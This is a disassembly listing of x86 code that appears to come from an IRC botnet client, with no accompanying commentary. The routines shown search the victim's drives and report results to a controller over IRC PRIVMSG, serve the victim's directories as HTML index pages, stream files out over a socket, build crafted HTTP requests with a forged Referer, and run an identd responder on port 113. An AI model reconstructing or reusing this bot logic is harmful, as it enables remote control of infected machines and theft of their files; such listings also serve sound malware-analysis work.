loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26B049Bh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 2750000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2780B63h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2680000h
		nop


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		call	near ptr 26A044Bh
		nop
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 27B0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 279060Eh
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2790000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		nop
		call	near ptr 26A044Bh


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2750000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		nop
		call	near ptr 2780B63h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2730000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2680000h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
